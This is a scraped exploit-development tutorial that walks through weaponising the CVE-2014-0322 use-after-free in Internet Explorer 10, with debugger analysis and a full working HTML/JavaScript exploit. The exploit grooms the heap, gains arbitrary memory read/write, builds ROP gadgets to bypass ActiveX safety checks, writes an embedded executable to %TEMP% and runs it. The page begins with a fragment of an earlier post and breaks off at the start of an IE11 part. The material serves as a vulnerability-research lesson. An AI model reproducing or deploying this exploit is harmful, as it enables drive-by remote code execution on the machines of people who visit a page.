<body>
</body>
</html>

As before, I snipped runcalc. You can download the full code from here: code3.

Prev Part | Next Part

The post IE10: God Mode (2) appeared first on Exploit Development Community.

IE10: Use-After-Free bug

Until now, we have depended on WinDbg for modifying the length of an Int32Array to acquire full read/write access to the space address of the IE process. It’s high time we found a UAF to complete our exploit.

I chose the UAF with code CVE-2014-0322. You can google for it if you want additional information. Here’s the POC to produce the crash:

<!-- CVE-2014-0322 -->
<html>
<head>
</head>
<body>
<script>
function handler() {
  this.outerHTML = this.outerHTML;
}

function trigger() {
    var a = document.getElementsByTagName("script")[0];
    a.onpropertychange = handler;
    var b = document.createElement("div");
    b = a.appendChild(b);
}

trigger();
</script>
</body>
</html>

Copy and paste that code in an HTML file and open it in IE 10. If you do this, you’ll discover that IE doesn’t crash. What’s wrong?

GFlags

In the same directory as WinDbg, we can find gflags.exe, a utility which can be used to change the Global Flags of Windows. These flags influence the behavior of Windows and can be immensely helpful during debugging. We’re especially interested in two flags:

  1. HPAHeap Page Allocator
  2. USTUser mode Stack Trace

The flag HPA tells Windows to use a special version of the heap allocator that’s useful to detect UAF, buffer overflows and other kinds of bugs. It works by allocating each block in a separate set of contiguous pages (how many depends on the length of the block) so that the end of the block coincides with the end of the last page. The first page after the allocated block is marked as not present. This way, buffer overflows are easily and efficiently detectable. Moreover, when a block is deallocated, all the pages containing it are marked as not present. This makes UAF easy to detect.

Look at the following picture:

Image may be NSFW.
Clik here to view.
pic_48

A page is 0x1000 bytes = 4 KB. If the allocated block is less than 4 KB, its size can be easily determined from its address with this simple formula:

size(addr) = 0x1000 - (addr & 0xfff)

This formula works because the block is allocated at the end of the page containing it. Have a look at the following picture:

Image may be NSFW.
Clik here to view.
pic_49

The second flag, UST, tells Windows to save a stack trace of the current stack whenever a heap block is allocated or deallocated. This is useful to see which function and path of execution led to a particular allocation or deallocation. We’ll see an example during the analysis of the UAF bug.

Global flags can be changed either globally or on a per image file basis. We’re interested in enabling the flags HPA and UST just for iexplore.exe so we’re going to choose the latter.

Run gflags.exe, go to the tab Image File, insert the image name and select the two flags as illustrated in the following picture:

Image may be NSFW.
Clik here to view.
pic_50

Getting the crash

Now load the POC in IE and you should get a crash. If we do the same while debugging IE in WinDbg, we’ll see which instruction generates the exception:

6b900fc4 e83669e6ff      call    MSHTML!CTreePos::SourceIndex (6b7678ff)
6b900fc9 8d45a8          lea     eax,[ebp-58h]
6b900fcc 50              push    eax
6b900fcd 8bce            mov     ecx,esi
6b900fcf c745a804000000  mov     dword ptr [ebp-58h],4
6b900fd6 c745c400000000  mov     dword ptr [ebp-3Ch],0
6b900fdd c745ac00000000  mov     dword ptr [ebp-54h],0
6b900fe4 c745c028000000  mov     dword ptr [ebp-40h],28h
6b900feb c745b400000000  mov     dword ptr [ebp-4Ch],0
6b900ff2 c745b000000000  mov     dword ptr [ebp-50h],0
6b900ff9 c745b8ffffffff  mov     dword ptr [ebp-48h],0FFFFFFFFh
6b901000 c745bcffffffff  mov     dword ptr [ebp-44h],0FFFFFFFFh
6b901007 e80162e6ff      call    MSHTML!CMarkup::Notify (6b76720d)
6b90100c ff4678          inc     dword ptr [esi+78h]  ds:002b:0e12dd38=????????     <---------------------
6b90100f 838e6001000004  or      dword ptr [esi+160h],4
6b901016 8bd6            mov     edx,esi
6b901018 e8640b0600      call    MSHTML!CMarkup::UpdateMarkupContentsVersion (6b961b81)
6b90101d 8b8698000000    mov     eax,dword ptr [esi+98h]
6b901023 85c0            test    eax,eax
6b901025 7416            je      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901027 81bea4010000905f0100 cmp dword ptr [esi+1A4h],15F90h
6b901031 7c0a            jl      MSHTML!CMarkup::NotifyElementEnterTree+0x297 (6b90103d)
6b901033 8b4008          mov     eax,dword ptr [eax+8]
6b901036 83a0f0020000bf  and     dword ptr [eax+2F0h],0FFFFFFBFh
6b90103d 8d7dd8          lea     edi,[ebp-28h]

It looks like ESI is a dangling pointer.

Here’s the stack trace:

0:007> k 10
ChildEBP RetAddr  
0a10b988 6b90177b MSHTML!CMarkup::NotifyElementEnterTree+0x266
0a10b9cc 6b9015ef MSHTML!CMarkup::InsertSingleElement+0x169
0a10baac 6b901334 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
0a10bad0 6b9012f6 MSHTML!CMarkup::InsertElementInternal+0x2e
0a10bb10 6b901393 MSHTML!CDoc::InsertElement+0x9c
0a10bbd8 6b7d0420 MSHTML!InsertDOMNodeHelper+0x454
0a10bc50 6b7d011c MSHTML!CElement::InsertBeforeHelper+0x2a8
0a10bcb4 6b7d083c MSHTML!CElement::InsertBeforeHelper+0xe4
0a10bcd4 6b7d2de4 MSHTML!CElement::InsertBefore+0x36
0a10bd60 6b7d2d01 MSHTML!CElement::Var_appendChild+0xc7
0a10bd90 0c17847a MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
0a10bdf8 0c176865 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0a10bf94 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x9d4
0a10c0b4 09ee0fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0a10c0c0 0c1764ff 0x9ee0fe1
0a10c254 0c175cf5 jscript9!Js::InterpreterStackFrame::Process+0x1b57

Let’s determine the size of the (now freed) object:

0:007> ? 1000 - (@esi & fff)
Evaluate expression: 832 = 00000340

Of course, we’re assuming that the object size is less than 0x1000. Finally, here’s an example of stack trace available thanks to the UST flag:

0:007> !heap -p -a @esi
    address 0e12dcc0 found in
    _DPH_HEAP_ROOT @ 141000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e2d0b94:          e12d000             2000
    733990b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    772b1564 ntdll!RtlDebugFreeHeap+0x0000002f
    7726ac29 ntdll!RtlpFreeHeap+0x0000005d
    772134a2 ntdll!RtlFreeHeap+0x00000142
    74f414ad kernel32!HeapFree+0x00000014
    6b778f06 MSHTML!CMarkup::`vector deleting destructor'+0x00000026
    6b7455da MSHTML!CBase::SubRelease+0x0000002e
    6b774183 MSHTML!CMarkup::Release+0x0000002d
    6bb414d1 MSHTML!InjectHtmlStream+0x00000716
    6bb41567 MSHTML!HandleHTMLInjection+0x00000082
    6bb3cfec MSHTML!CElement::InjectInternal+0x00000506
    6bb3d21d MSHTML!CElement::InjectTextOrHTML+0x000001a4
    6ba2ea80 MSHTML!CElement::put_outerHTML+0x0000001d      <----------------------------------
    6bd3309c MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x00000054    <---------------------
    0c17847a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000185
    0c1792c5 jscript9!Js::JavascriptArray::GetSetter+0x000000cf
    0c1d6c56 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x000005a8
    0c1ac53b jscript9!Js::InterpreterStackFrame::Process+0x00000fbf
    0c175cf5 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000305

This proves that ESI is indeed a dangling pointer. The names of the functions suggest that the object is deallocated while executing the assignment

this.outerHTML = this.outerHTML;

inside the function handler. This means that we should allocate the new object to replace the old one in memory right after that assignment. We already saw how UAF bugs can be exploited in the chapter exploitme5 (Heap spraying & UAF) so I won’t repeat the theory here.

What we need is to allocate an object of the same size of the deallocated object. This way, the new object will be allocated in the same portion of memory which the deallocated object occupied. We know that the object is 0x340 bytes, so we can create a null-terminated Unicode string of 0x340/2 – 1 = 0x19f = 415 wchars.

First of all, let’s pinpoint the exact point of crash:

0:007> !address @eip

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...


Usage:                  Image
Base Address:           6c4a1000
End Address:            6d0ef000
Region Size:            00c4e000
State:                  00001000    MEM_COMMIT
Protect:                00000020    PAGE_EXECUTE_READ
Type:                   01000000    MEM_IMAGE
Allocation Base:        6c4a0000
Allocation Protect:     00000080    PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\system32\MSHTML.dll
Module Name:            MSHTML
Loaded Image Name:      C:\Windows\system32\MSHTML.dll
Mapped Image Name:      
More info:              lmv m MSHTML
More info:              !lmi MSHTML
More info:              ln 0x6c6c100c
More info:              !dh 0x6c4a0000


0:007> ? @eip-mshtml
Evaluate expression: 2232332 = 0022100c

So the exception is generated at mshtml + 0x22100c. Now close WinDbg and IE, run them again, open the POC in IE and put a breakpoint on the crashing point in WinDbg:

bp mshtml + 0x22100c

Now allow the blocked content in IE and the breakpoint should be triggered right before the exception is generated. This was easy. This is not always the case. Sometimes the same piece of code is executed hundreds of times before the exception is generated.

Now we can try to allocate a new object of the right size. Let’s change the POC as follows:

<!-- CVE-2014-0322 -->
<html>
<head>
</head>
<body>
<script>
function handler() {
  this.outerHTML = this.outerHTML;
  elem = document.createElement("div");
  elem.className = new Array(416).join("a");        // Nice trick to generate a string with 415 "a"
}

function trigger() {
    var a = document.getElementsByTagName("script")[0];
    a.onpropertychange = handler;
    var b = document.createElement("div");
    b = a.appendChild(b);
}

trigger();
</script>
</body>
</html>

Note the nice trick to create a string with 415a“!

Before opening the POC in IE, we need to disable the flags HPA and UST (UST is not a problem, but let’s disable it anyway):

Image may be NSFW.
Clik here to view.
pic_51

Now let’s reopen the POC in IE, put a breakpoint at mshtml + 0x22100c and let’s see what happens:

Image may be NSFW.
Clik here to view.
pic_52

Wonderful! ESI points to our object (0x61 is the code point for the character ‘a‘) and now we can take control of the execution flow. Our goal is to reach and control an instruction so that it writes 0x20 at the address 0x0c0af01b. You should know this address by heart by now!

You might be wondering why we assign a string to the className property of a DOM element. Note that we don’t just write

var str = new Array(416).join("a");

When we assign the string to elem.className, the string is copied and the copy is assigned to the property of the DOM element. It turns out that the copy of the string is allocated on the same heap where the object which was freed due to the UAF bug resided. If you try to allocate, for instance, an ArrayBuffer of 0x340 bytes, it won’t work, because the raw buffer for the ArrayBuffer will be allocated on another heap.

Controlling the execution flow

The next step is to see if we can reach a suitable instruction to write to memory at an arbitrary address starting from the crash point. Once again, we’ll use IDA. I can’t stress enough how useful IDA is.

We determined the address of the crash point to be mshtml + 0x22100c. This means that we need to disassemble the library mshtml.dll. Let’s find the path:

0:016> lmf m mshtml
start    end        module name
6b6e0000 6c491000   MSHTML   C:\Windows\system32\MSHTML.dll

Now let’s open that .dll in IDA and, when asked, allow IDA to load symbols from the Microsoft server. Let’s go to ViewOpen subviewsSegments. From there we can determine the base address of mshtml:

Image may be NSFW.
Clik here to view.
pic_53

As we can see, the base address is 0x63580000. Now close the Program Segmentation tab, press g and enter 0x63580000+0x22100c. You should find yourself at the crash location.

Let’s start with the analysis:

Image may be NSFW.
Clik here to view.
pic_54

The value of [esi+98h] must be non 0 because our string can’t contain null wchars (they would terminate the string prematurely, being the string null-terminated). Because of this, the execution reaches the second node where [esi+1a4h] is compared with 15f90h. We can choose [esi+1a4h] = 11111h so that the third node is skipped and a crash is easily avoided, but we could also set up things so that [eax+2f0h] is writable.

Now let’s look at the function ?UpdateMarkupContentsVersion:

Image may be NSFW.
Clik here to view.
pic_55

The picture should be clear enough. Anyway, there’s an important point to understand. We know that the Int32Array whose length we want to modify is at address 0xc0af000, but we don’t control the values at that address. We know, however, that the value at 0xc0af01c is the address of the raw buffer associated with the Int32Array. Note that we don’t know the address of the raw buffer, but we know that we can find that address at 0xc0af01c. Now we must make sure that the dword at offset 1c0h in the raw buffer is 0. Unfortunately, the raw buffer is only 0x58 bytes. Remember that we can’t allocate a bigger raw buffer because it must have the exact same size of a LargeHeapBlock. But there is an easy solution: allocate more raw buffers!

Let’s summarize our memory layout:

Object size = 0x340 = 832
offset: value
   94h: 0c0af010h
        (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
  0ach: 0c0af00bh
        (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
  1a4h: 11111h
        (X = [obj_addr+1a4h] = 11111h < 15f90h)

We need to make several changes to our html file.

First, we add the code for triggering the UAF bug and taking control of the execution flow:

function getFiller(n) {
    return new Array(n+1).join("a");
  }
 
  function getDwordStr(val) {
    return String.fromCharCode(val % 0x10000, val / 0x10000);
  }
 
  function handler() {
    this.outerHTML = this.outerHTML;

    // Object size = 0x340 = 832
    // offset: value
    //    94h: 0c0af010h
    //         (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
    //   0ach: 0c0af00bh
    //         (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
    //   1a4h: 11111h
    //         (X = [obj_addr+1a4h] = 11111h < 15f90h)
    elem = document.createElement("div");
    elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) +
                     getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) +
                     getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) +
                     getFiller((0x340 - (0x1a4 + 4))/2 - 1);        // -1 for string-terminating null wchar
  }
 
  function trigger() {
      var a = document.getElementsByTagName("script")[0];
      a.onpropertychange = handler;
      var b = document.createElement("div");
      b = a.appendChild(b);
  }

Next, we must create 4 more ArrayBuffer, as we’ve already discussed:

a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte ArrayBuffer (buf2)
    // 8-byte header | 0x58-byte ArrayBuffer (buf3)
    // 8-byte header | 0x58-byte ArrayBuffer (buf4)
    // 8-byte header | 0x58-byte ArrayBuffer (buf5)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100) {
        buf = new ArrayBuffer(0x58);        // must be exactly 0x58!
        buf2 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf3 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf4 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf5 = new ArrayBuffer(0x58);       // must be exactly 0x58!
      }
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }

Having added 4 more ArrayBuffers, we also need to fix the code which computes the address of the first raw buffer:

// This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // ... we added four more raw buffers ...
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...

    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60*5/4],
        vftptr2 = int32array[0x60*6/4],
        vftptr3 = int32array[0x60*7/4],
        nextPtr1 = int32array[(0x60*5+0x24)/4],
        nextPtr2 = int32array[(0x60*6+0x24)/4],
        nextPtr3 = int32array[(0x60*7+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
//      alert("Error 1!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*6;

Basically, we changed int32array[0x60*N/4] into int32array[0x60*(N+4)/4] to account for the additional 4 raw buffers after the original raw buffer. Also, the last line was

buf_addr = nextPtr1 - 0x60*2

and has been changed to

buf_addr = nextPtr1 - 0x60*(2+4)

for the same reason.

I noticed that sometimes SaveToFile fails, so I decided to force the page to reload when this happens:

function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    .
    .
    .
    
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }

Here’s the full code:

<html>
<head>
<script language="javascript">
  function getFiller(n) {
    return new Array(n+1).join("a");
  }
 
  function getDwordStr(val) {
    return String.fromCharCode(val % 0x10000, val / 0x10000);
  }
 
  function handler() {
    this.outerHTML = this.outerHTML;

    // Object size = 0x340 = 832
    // offset: value
    //    94h: 0c0af010h
    //         (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
    //   0ach: 0c0af00bh
    //         (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
    //   1a4h: 11111h
    //         (X = [obj_addr+1a4h] = 11111h < 15f90h)
    elem = document.createElement("div");
    elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) +
                     getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) +
                     getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) +
                     getFiller((0x340 - (0x1a4 + 4))/2 - 1);        // -1 for string-terminating null wchar
  }
 
  function trigger() {
      var a = document.getElementsByTagName("script")[0];
      a.onpropertychange = handler;
      var b = document.createElement("div");
      b = a.appendChild(b);
  }

  (function() {
//    alert("Starting!");
    
    CollectGarbage();

    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte ArrayBuffer (buf2)
    // 8-byte header | 0x58-byte ArrayBuffer (buf3)
    // 8-byte header | 0x58-byte ArrayBuffer (buf4)
    // 8-byte header | 0x58-byte ArrayBuffer (buf5)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100) {
        buf = new ArrayBuffer(0x58);        // must be exactly 0x58!
        buf2 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf3 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf4 = new ArrayBuffer(0x58);       // must be exactly 0x58!
        buf5 = new ArrayBuffer(0x58);       // must be exactly 0x58!
      }
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    // We increment the highest byte of array_len 20 times (which is equivalent to writing 0x20).
    for (var k = 0; k < 0x20; ++k)
      trigger();
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
//      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // ... we added four more raw buffers ...
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...

    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60*5/4],
        vftptr2 = int32array[0x60*6/4],
        vftptr3 = int32array[0x60*7/4],
        nextPtr1 = int32array[(0x60*5+0x24)/4],
        nextPtr2 = int32array[(0x60*6+0x24)/4],
        nextPtr3 = int32array[(0x60*7+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
//      alert("Error 1!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*6;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
//      alert("Error 2!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
//      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;

    //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+

    var old = read(mshtml+0xc555e0+0x14);

    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!

    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // ptr to ptr to object
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x10705e;
    new_vftable[0x14/4] = jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x15f800;
    new_object[2] = jscript9 + 0xf3baf;
    new_object[3] = jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);

//    alert("All done!");
  })();

</script>
</head>
<body>
</body>
</html>

As always, I snipped runcalc. You can download the full code from here: code4.

Load the page in IE using SimpleServer and everything should work just fine! This exploit is very reliable. In fact, even when IE crashes because something went wrong with the UAF bug, IE will reload the page. The user will see the crash but that’s not too serious. Anyway, the event of a crash is reasonably rare.

Internet Explorer 10 32-bit and 64-bit

There are two versions of IE 10 installed: the 32-bit and the 64-bit version. Our exploit works with both of them because while the iexplore.exe module associated with the main window is different (one is a 32-bit and the other a 64-bit executable), the iexplore.exe module associated with the tabs is the same 32-bit executable in both cases. You can verify this just by looking at the path of the two executable in the Windows Task Manager.

Prev Part

The post IE10: Use-After-Free bug appeared first on Exploit Development Community.


IE11: Part 1

For this exploit I’m using a VirtualBox VM with Windows 7 64-bit SP1 and the version of Internet Explorer 11 downloaded from here:

http://filehippo.com/download_internet_explorer_windows_7_64/tech/

EmulateIE9

